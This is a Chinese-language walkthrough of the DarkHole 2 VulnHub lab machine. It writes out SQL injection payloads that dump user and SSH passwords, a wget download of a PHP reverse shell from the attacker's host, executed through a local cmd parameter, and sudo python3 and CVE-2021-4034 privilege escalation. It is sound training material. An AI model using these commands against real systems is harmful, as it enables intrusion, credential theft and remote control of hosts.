准备

攻击机: kali, win11

靶机: DARKHOLE: 2 NAT 192.168.91.0 网段

下载链接:

https://www.vulnhub.com/entry/darkhole-2,740/

信息搜集与利用

主机发现

python3 ping.py -H 192.168.91.0/24

如图所示得到目标靶机IP地址: 192.168.91.191

端口扫描

nmap -sV -O -A -p- -T4 192.168.91.191 –oN DarkHole2_nmap.txt


如图所示开放了 22,80, 其中发现了 git 泄露,目录扫描那么也能发现

目录扫描

python3 dirsearch.py -u http://192.168.91.191/

挨个儿访问

git 泄露


python2 .\git_extract.py http://192.168.91.191/.git/

注意:git_extract 工具有时候可能下载不完整,推荐方法换一个工具,github开源很多。


用工具下载到本地。

代码审计

index.php 中:


很明显看到 dashboard.php?id=xxxx, 且 跟 SESSION 相关。

login.php中:


如图所示:有账号密码(lush@admin.com:321),待会儿看能不能登陆进去。

login.php 0904b1 中:


如图所示: 得到了 sql 语句,其中对 email,pass 两个变量调用了 mysqli_real_escape_string,htmlspecialchars 这两个函数,这两个函数的作用大致就是对其输入进行转换过滤,那么在登陆界面sql注入几乎是不太可能的了。函数具体用法自行翻看手册。

config.php 中:


如图所示: 用户名: root ,密码:空,数据库: darkhole_2

COMMIT_EDITMSG 中:


如图所示: 翻译过来: 我更改了 login.php 文件以更安全

HTTP

http://192.168.91.191/login.php

来当登陆界面,尝试用刚刚找的邮箱和密码登陆



如图所示:登陆成功,同时可以看到 上方 URL 处 id=1,那么存在sql注入的可能性。

要么 sqlmap 一把梭或者手动注入

SQLI注入

手动注入的话,是很基础的。详细步骤省略。
http://192.168.91.191/dashboard.php?id=-1' union select 1,2,3,4,5,group_concat(username,0x2d,password) from users --+



如图所示:得到 users 表中的用户名和密码:
Jehad Alqurashiasddasdasdas:321

http://192.168.91.191/dashboard.php?id=-1' union select 1,2,3,4,5,group_concat(user,0x2d,pass) from ssh--+

如图所示:得到 ssh 表中的用户和密码:
jehad:fool

ssh 登陆

既然是 ssh 表,那么尝试ssh 登陆


如图所示:登陆成功

cat /etc/passwd | grep “/bin/bash”


如图所示:具有 /bin/bash 的用户除了 root 外 有: lama, jehad, losy 。

查看 历史命令记录
cat .bash_history


发现本地有9999端口的服务。

查看 socket 统计信息
ss -antp


如图所示: 可以看到 127.0.0.1:9999 端口存在活动。

提权

方法一

方法一:按照作者思路

curl “http://127.0.0.1:9999/"

查看一下本地服务的内容


如图所示:可以看到 GET 了 一个 cmd 参数,与历史记录相符合。在历史命令记录中: wget 下载了一个 反弹shell


那我们也要来反弹shell,

编辑本地得 php-reverse-shell.php 将IP改为 kali 得 IP地址和监听端口。

在本地启动一个http 服务用于下载
python3 -m http.server 8000

然后将其下载到把集中,然后 利用 127.0.0.1?cmd 来执行
wget http://172.46.237.107:8000/php-reverse-shell.php

执行

curl “http://127.0.0.1:9999/?cmd=php%20/tmp/php-reverse-shell.php"


如图所示 反弹 shell 成功,且是 losy 用户的 shell ,不是 jehad 用户。

python3 -c “import pty;pty.spawn(‘/bin/bash’)”

切换到标准 shell

flag 1

losy 家目录下 user.txt

在 jehad 用户中我们查看了 命令历史记录,在这里我们查看一下啊 losy 用户的历史记录

cat -n ./bash_history



如图所示:在第 88 行 发现了账号密码: losy:gang, 最后只有密码也为: gang。

sudo -l 查看命令


如图所示:输入 sudo -l 需要输入密码,而密码正好是 gang , 同时** /usr/bin/python3** 可以提权。

直接 sudo /usr/bin/python3 执行python 文件就能得到 root

sudo /usr/bin/python3 -c “import os;os.system(‘/bin/bash’)”


如图所示: sudo 提权成功。

flag 2

方法二

find / -perm -u=s -type f 2>/dev/null

老方法查看SUID权限内容,发现一个眼熟的:

/usr/lib/policykit-1/polkit-agent-helper-1

对应于 CVE-2021-4034

在我以前的文章中有说到 这个漏洞。这个漏洞今年才发布,在2021年的l对于Linux 影响很深,几乎所有的发行版本都存在这个漏洞,因此这个靶机诞生的那一天,这个漏洞还不存在。在今天(2022年2月18日)来说这就是一个新的提权方法。关于 CVE-2021-4034 的详细信息请自行搜索。

直接利用它: 具体使用方法请看我最近的文章。

总结

  1. git 泄漏
  2. sql注入
  3. 命令执行
  4. 反弹shell
  5. CVE-2021-4034